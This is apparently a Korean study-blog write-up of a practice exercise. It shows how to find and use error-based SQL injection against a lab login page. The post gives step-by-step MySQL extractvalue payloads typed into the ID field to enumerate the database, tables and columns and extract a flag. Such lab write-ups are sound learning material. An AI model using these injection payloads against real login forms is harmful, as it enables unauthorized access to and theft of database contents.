Error based SQLi 연습 문제 1

gyub·2025년 5월 27일
0

모의해킹 스터디

목록 보기
16/31

1️⃣ SQLi 포인트 찾기

먼저 문제를 확인해볼까요?

flag를 찾아야 하고, 우리에게 계정이 하나 주어졌네요

페이지에 접속해보도록 하겠습니다

평범한 로그인 페이지 같습니다

혹시 몰라 버프 스위트로 request, response를 확인해봤지만 별다른 특별한 점은 찾지 못했습니다

error based sqli가 가능한지 확인하기 위해 normaltic'을 아이디로 입력해 보겠습니다

에러메세지가 아래에 출력되고 있네요

error based sqli가 가능할 것 같습니다

2️⃣ 에러 출력 함수

error based sqli를 하려면 에러를 출력할 함수가 필요합니다

이때 활용할 함수는 사용하는 데이터베이스마다 다릅니다

우리는 MySQL을 사용하고 있기 때문에, extractvalue 함수를 활용합니다

XPATH 표현식을 작성해야 할 부분에 틀린 접두사(콜론)와 SQL문을 이어붙여 원하는 SQL문이 실행되도록 할 것입니다

3️⃣ 공격 포맷 작성

이제 정말 SQL Injection을 하기 위해 공격 포맷을 만들어보도록 하겠습니다

위에서 normaltic' and (select 'test')='test' and '1'='1 이 로그인 가능이었던 것을 고려하면,

normaltic' and extractvalue('1', concat(0x3a,(_SQL문_))) and '1'='1 으로 format을 만들어 볼 수 있습니다

4️⃣ DB 이름 찾기

DB 이름은 select database() 로 찾습니다

그렇다면 우리가 아이디에 입력해야 할 것은 아래와 같습니다

normaltic' and extractvalue('1', concat(0x3a,(select database()))) and '1'='1

DB 이름은 sqli_2 라는 것을 알 수 있습니다

5️⃣ 테이블 이름 찾기

DB 이름을 알았으니 이제 테이블 이름을 찾을 차례입니다

테이블을 찾는 SQL문은 아래와 같습니다

SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2'

그렇다면 이 sql문을 공격 format에 넣은 모습은 이렇겠네요

normaltic' and extractvalue('1', concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2'))) and '1'='1

이제 이 sql문을 아이디로 넣어 로그인 해보겠습니다

테이블이 여러 개 있나봅니다

그렇다면 limit 함수를 활용해 하나씩 결과를 보겠습니다

  1. 첫번째 테이블

normaltic' and extractvalue('1', concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2' limit 0,1))) and '1'='1

flag_table 이라는 테이블을 찾았습니다

  1. 두번째 테이블

normaltic' and extractvalue('1', concat(0x3a,(SELECT TABLE_NAME FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA = 'sqli_2' limit 1,1))) and '1'='1

member 라는 테이블을 찾았습니다

6️⃣ 컬럼 이름 찾기

테이블까지 찾았으니 이제 컬럼을 찾아보도록 하겠습니다

테이블은 flag_tablemember 로 2개였습니다

우리가 찾아야 할 것은 flag이니 flag_table 의 컬럼을 찾아보도록 하겠습니다

컬럼을 찾는 SQL문은 아래와 같습니다

SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table'

그렇다면 우리가 아이디로 입력해야 할 것은 이런 sql문이 되겠네요

normaltic' and extractvalue('1', concat(0x3a,(SELECT COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME='flag_table'))) and '1'='1

flag 라는 컬럼을 찾았습니다

7️⃣ 데이터 추출하기

이제 테이블과 컬럼 명을 알았으니 데이터를 추출하는 sql문을 작성할 수 있습니다

select flag from flag_table

이 sql문을 공격 포맷에 끼우면 다음과 같이 작성할 수 있습니다

normaltic' and extractvalue('1', concat(0x3a,(select flag from flag_table))) and '1'='1

플래그를 얻었습니다

0개의 댓글